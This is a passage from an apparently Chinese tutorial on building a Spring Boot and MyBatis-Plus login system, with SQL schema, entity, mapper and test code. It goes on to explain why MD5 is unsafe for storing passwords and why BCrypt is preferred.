class="line">  <span class="attr">enabled-types:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">PASSWORD</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">SMS</span></span><br><span class="line">    <span class="comment"># - WECHAT  # 注释掉即可禁用</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># MyBatis-Plus 配置</span></span><br><span class="line"><span class="attr">mybatis-plus:</span></span><br><span class="line">  <span class="attr">configuration:</span></span><br><span class="line">    <span class="attr">map-underscore-to-camel-case:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">log-impl:</span> <span class="string">org.apache.ibatis.logging.stdout.StdOutImpl</span></span><br><span class="line">  <span class="attr">global-config:</span></span><br><span class="line">    <span class="attr">db-config:</span></span><br><span class="line">      <span class="attr">id-type:</span> <span class="string">ASSIGN_ID</span></span><br></pre></td></tr></table></figure><hr><h3 id="创建数据库和表">创建数据库和表</h3><p><strong>📄 文件路径</strong>:<code>src/main/resources/sql/schema.sql</code>(新建)</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 创建数据库</span></span><br><span class="line"><span class="keyword">CREATE</span> DATABASE IF <span class="keyword">NOT</span> <span class="keyword">EXISTS</span> auth_db <span class="keyword">DEFAULT</span> <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_unicode_ci;</span><br><span class="line"></span><br><span class="line">USE auth_db;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 用户主体表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> sys_user (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> COMMENT <span class="string">&#x27;用户 ID(雪花算法生成)&#x27;</span>,</span><br><span class="line">    nickname <span class="type">VARCHAR</span>(<span class="number">50</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;用户昵称&#x27;</span>,</span><br><span class="line">    avatar <span class="type">VARCHAR</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="string">&#x27;https://cdn.example.com/default-avatar.png&#x27;</span> COMMENT <span class="string">&#x27;头像 URL&#x27;</span>,</span><br><span class="line">    status TINYINT <span class="keyword">DEFAULT</span> <span class="number">2</span> COMMENT <span class="string">&#x27;状态:0-禁用 1-启用 2-未激活&#x27;</span>,</span><br><span class="line">    create_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">    update_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;更新时间&#x27;</span>,</span><br><span class="line"></span><br><span class="line">    KEY idx_create_time (create_time)</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4 COMMENT<span class="operator">=</span><span class="string">&#x27;用户主体表&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 用户认证凭证表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> sys_auth (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;主键 ID&#x27;</span>,</span><br><span class="line">    user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;关联的用户 ID&#x27;</span>,</span><br><span class="line">    identity_type <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;认证类型:PASSWORD/MOBILE/EMAIL/WECHAT/GITHUB&#x27;</span>,</span><br><span class="line">    identifier <span class="type">VARCHAR</span>(<span class="number">100</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;标识符(账号/手机号/邮箱/OpenID)&#x27;</span>,</span><br><span class="line">    credential <span class="type">VARCHAR</span>(<span class="number">255</span>) COMMENT <span class="string">&#x27;凭证(密码哈希/Token,OAuth 登录可为空)&#x27;</span>,</span><br><span class="line">    verified TINYINT <span class="keyword">DEFAULT</span> <span class="number">0</span> COMMENT <span class="string">&#x27;是否已验证:0-未验证 1-已验证&#x27;</span>,</span><br><span class="line">    create_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">    update_time DATETIME <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;更新时间&#x27;</span>,</span><br><span class="line"></span><br><span class="line">    <span class="keyword">UNIQUE</span> KEY uk_type_identifier (identity_type, identifier),</span><br><span class="line">    KEY idx_user_id (user_id)</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4 COMMENT<span class="operator">=</span><span class="string">&#x27;用户认证凭证表&#x27;</span>;</span><br></pre></td></tr></table></figure><hr><h3 id="创建实体类-沿用-19-2-工程结构">创建实体类(沿用 19.2 工程结构)</h3><p>为了与 19.2 的包结构保持一致,我们在同一个模块下新增 <code>entity</code> 包。</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/entity/User.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.entity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.IdType;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.TableId;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.TableName;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用户主体实体类</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@TableName(&quot;sys_user&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户 ID(雪花算法生成)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@TableId(type = IdType.ASSIGN_ID)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户昵称</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String nickname;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 头像 URL</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String avatar;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 状态:0-禁用 1-启用 2-未激活</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Integer status;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建时间</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 更新时间</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime updateTime;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/entity/Auth.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.entity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.IdType;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.TableId;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.annotation.TableName;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用户认证凭证实体类</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@TableName(&quot;sys_auth&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Auth</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 主键 ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@TableId(type = IdType.AUTO)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 关联的用户 ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Long userId;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 认证类型:PASSWORD/MOBILE/EMAIL/WECHAT/GITHUB</span></span><br><span class="line"><span class="comment">     * 与 19.2 的 AuthType.name() 对齐(建议存枚举名)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String identityType;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 标识符(账号/手机号/邮箱/OpenID)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String identifier;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 凭证(密码哈希/Token,OAuth 登录可为空)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String credential;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否已验证:0-未验证 1-已验证</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Integer verified;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建时间</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime createTime;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 更新时间</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> LocalDateTime updateTime;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="创建-Mapper-接口-同模块-同包体系">创建 Mapper 接口(同模块,同包体系)</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/mapper/UserMapper.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.mapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.mapper.BaseMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.User;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.annotations.Mapper;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用户 Mapper</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> <span class="keyword">extends</span> <span class="title class_">BaseMapper</span>&lt;User&gt; &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/mapper/AuthMapper.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.mapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.mapper.BaseMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.Auth;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.annotations.Mapper;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证凭证 Mapper</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AuthMapper</span> <span class="keyword">extends</span> <span class="title class_">BaseMapper</span>&lt;Auth&gt; &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="配置-Mapper-扫描">配置 Mapper 扫描</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/AuthFactoryApplication.java</code>(修改)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.mybatis.spring.annotation.MapperScan;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.SpringApplication;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.autoconfigure.SpringBootApplication;</span><br><span class="line"></span><br><span class="line"><span class="meta">@SpringBootApplication</span></span><br><span class="line"><span class="meta">@MapperScan(&quot;com.example.auth.mapper&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthFactoryApplication</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        SpringApplication.run(AuthFactoryApplication.class, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="测试持久层">测试持久层</h3><p><strong>📄 文件路径</strong>:<code>src/test/java/com/example/auth/mapper/UserMapperTest.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.mapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.User;</span><br><span class="line"><span class="keyword">import</span> org.junit.jupiter.api.Test;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.test.context.SpringBootTest;</span><br><span class="line"></span><br><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserMapperTest</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testInsert</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line">        user.setNickname(<span class="string">&quot;测试用户&quot;</span>);</span><br><span class="line">        user.setAvatar(<span class="string">&quot;https://cdn.example.com/avatar.jpg&quot;</span>);</span><br><span class="line">        user.setStatus(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">        userMapper.insert(user);</span><br><span class="line">        System.out.println(<span class="string">&quot;插入成功,用户 ID: &quot;</span> + user.getId());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testSelect</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectById(<span class="number">1L</span>);</span><br><span class="line">        System.out.println(<span class="string">&quot;查询结果: &quot;</span> + user);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="19-3-4-密码加密">19.3.4. 密码加密</h2><p>在上一节中,我们完成了持久层的搭建。现在我们需要实现密码加密功能。</p><h3 id="为什么不能用-MD5">为什么不能用 MD5?</h3><p>很多初学者在实现密码加密时,会使用 MD5:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> <span class="string">&quot;123456&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">md5Hash</span> <span class="operator">=</span> DigestUtils.md5Hex(password);</span><br><span class="line"><span class="comment">// 输出: e10adc3949ba59abbe56e057f20f883e</span></span><br></pre></td></tr></table></figure><p><strong>这种做法是极其危险的</strong>,原因有三:</p><p><strong>原因一:MD5 是哈希算法,不是加密算法</strong></p><ul><li><strong>哈希算法</strong>:单向函数,无法解密</li><li><strong>加密算法</strong>:双向函数,可以解密</li></ul><p>MD5 的设计目的是 <strong>数据完整性校验</strong>,而不是密码存储。</p><p><strong>原因二:彩虹表攻击</strong></p><p>彩虹表(Rainbow Table)是一个预先计算好的哈希值数据库。攻击者可以通过查表的方式,快速破解 MD5 哈希。</p><p><strong>示例</strong>:</p><p>假设数据库泄漏,攻击者获取到以下数据:</p><table><thead><tr><th style="text-align:left">username</th><th style="text-align:left">password_md5</th></tr></thead><tbody><tr><td style="text-align:left">admin</td><td style="text-align:left">e10adc3949ba59abbe56e057f20f883e</td></tr><tr><td style="text-align:left">user1</td><td style="text-align:left">5f4dcc3b5aa765d61d8327deb882cf99</td></tr></tbody></table><p>攻击者只需要在彩虹表中查询这两个哈希值:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">e10adc3949ba59abbe56e057f20f883e -&gt; 123456</span><br><span class="line">5f4dcc3b5aa765d61d8327deb882cf99 -&gt; password</span><br></pre></td></tr></table></figure><p><strong>几秒钟内就能破解所有密码</strong>。</p><hr><h3 id="加盐-Salt-能解决问题吗">加盐(Salt)能解决问题吗?</h3><p>有些开发者会在 MD5 的基础上加盐:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> <span class="string">&quot;123456&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">salt</span> <span class="operator">=</span> <span class="string">&quot;random_salt_123&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">saltedPassword</span> <span class="operator">=</span> password + salt;</span><br><span class="line"><span class="type">String</span> <span class="variable">md5Hash</span> <span class="operator">=</span> DigestUtils.md5Hex(saltedPassword);</span><br><span class="line"><span class="comment">// 输出: 7c6a180b36896a0a8c02787eeafb0e4c</span></span><br></pre></td></tr></table></figure><p><strong>这种做法比纯 MD5 好一些</strong>,但仍然存在问题:</p><p><strong>问题一:盐值存储</strong></p><p>盐值必须存储在数据库中,否则无法验证密码。如果数据库泄漏,攻击者可以获取盐值,然后针对每个用户生成专属的彩虹表。</p><p><strong>问题二:盐值固定</strong></p><p>如果所有用户使用相同的盐值,攻击者只需要生成一次彩虹表,就能破解所有密码。</p><p><strong>问题三:计算速度太快</strong></p><p>MD5 的计算速度非常快,攻击者可以使用 GPU 进行暴力破解。现代 GPU 每秒可以计算数十亿次 MD5 哈希。</p><hr><h3 id="BCrypt-的三大优势">BCrypt 的三大优势</h3><p>BCrypt 是一种专门为密码存储设计的哈希算法,它解决了 MD5 的所有问题。</p><p><strong>优势一:自动加盐</strong></p><p>BCrypt 会自动生成随机盐值,并将盐值嵌入到哈希值中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> <span class="string">&quot;123456&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">bcryptHash</span> <span class="operator">=</span> BCrypt.hashpw(password, BCrypt.gensalt());</span><br><span class="line"><span class="comment">// 输出: $2a$ 10$rQ7R8kN5J6X7Z8Y9W0V1U.2Q3R4S5T6U7V8W9X0Y1Z2A3B4C5D6E7F</span></span><br></pre></td></tr></table></figure><p><strong>哈希值的结构</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$2a$10$rQ7R8kN5J6X7Z8Y9W0V1U.2Q3R4S5T6U7V8W9X0Y1Z2A3B4C5D6E7F</span><br><span class="line"> |   |  |                    |</span><br><span class="line"> |   |  |                    +-- 哈希值(31 字符)</span><br><span class="line"> |   |  +-- 盐值(22 字符)</span><br><span class="line"> |   +-- 成本因子(10)</span><br><span class="line"> +-- 算法版本(2a)</span><br></pre></td></tr></table></figure><p><strong>关键点</strong>:盐值和哈希值存储在一起,不需要单独存储盐值。</p><p><strong>优势二:慢哈希(Slow Hash)</strong></p><p>BCrypt 的计算速度非常慢,这是故意设计的。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// MD5:每秒可以计算数十亿次</span></span><br><span class="line"><span class="type">String</span> <span class="variable">md5Hash</span> <span class="operator">=</span> DigestUtils.md5Hex(<span class="string">&quot;123456&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// BCrypt:每秒只能计算几十次</span></span><br><span class="line"><span class="type">String</span> <span class="variable">bcryptHash</span> <span class="operator">=</span> BCrypt.hashpw(<span class="string">&quot;123456&quot;</span>, BCrypt.gensalt(<span class="number">10</span>));</span><br></pre></td></tr></table></figure><p><strong>为什么要慢?</strong></p><ul><li>对于正常用户:登录时只需要计算一次,慢 0.1 秒完全可以接受</li><li>对于攻击者:暴力破解需要计算数百万次,慢 0.1 秒意味着破解时间从几小时变成几年</li></ul><p><strong>优势三:自适应(Adaptive)</strong></p><p>BCrypt 的成本因子(Cost Factor)可以调整,随着硬件性能的提升,可以增加成本因子,保持相同的安全性。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 成本因子 10:每次哈希需要 2^10 = 1024 次迭代</span></span><br><span class="line"><span class="type">String</span> <span class="variable">hash10</span> <span class="operator">=</span> BCrypt.hashpw(<span class="string">&quot;123456&quot;</span>, BCrypt.gensalt(<span class="number">10</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 成本因子 12:每次哈希需要 2^12 = 4096 次迭代</span></span><br><span class="line"><span class="type">String</span> <span class="variable">hash12</span> <span class="operator">=</span> BCrypt.hashpw(<span class="string">&quot;123456&quot;</span>, BCrypt.gensalt(<span class="number">12</span>));</span><br></pre></td></tr></table></figure><p><strong>成本因子对照表</strong>:</p><table><thead><tr><th style="text-align:left">成本因子</th><th style="text-align:left">迭代次数</th><th style="text-align:left">计算时间(单核)</th><th style="text-align:left">适用场景</th></tr></thead><tbody><tr><td style="text-align:left">10</td><td style="text-align:left">1024</td><td style="text-align:left">~0.1 秒</td><td style="text-align:left">开发环境</td></tr><tr><td style="text-align:left">12</td><td style="text-align:left">4096</td><td style="text-align:left">~0.4 秒</td><td style="text-align:left">生产环境(推荐)</td></tr><tr><td style="text-align:left">14</td><td style="text-align:left">16384</td><td style="text-align:left">~1.6 秒</td><td style="text-align:left">高安全场景</td></tr><tr><td style="text-align:left">16</td><td style="text-align:left">65536</td><td style="text-align:left">~6.4 秒</td><td style="text-align:left">极高安全场景</td></tr></tbody></table><p><strong>建议</strong>:生产环境使用成本因子 12。</p><hr><h3 id="BCrypt-实战">BCrypt 实战</h3><p><strong>引入依赖</strong>:</p><p><strong>📄 文件路径</strong>:<code>pom.xml</code>(追加)</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Spring Security Crypto(包含 BCrypt) --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.security<span 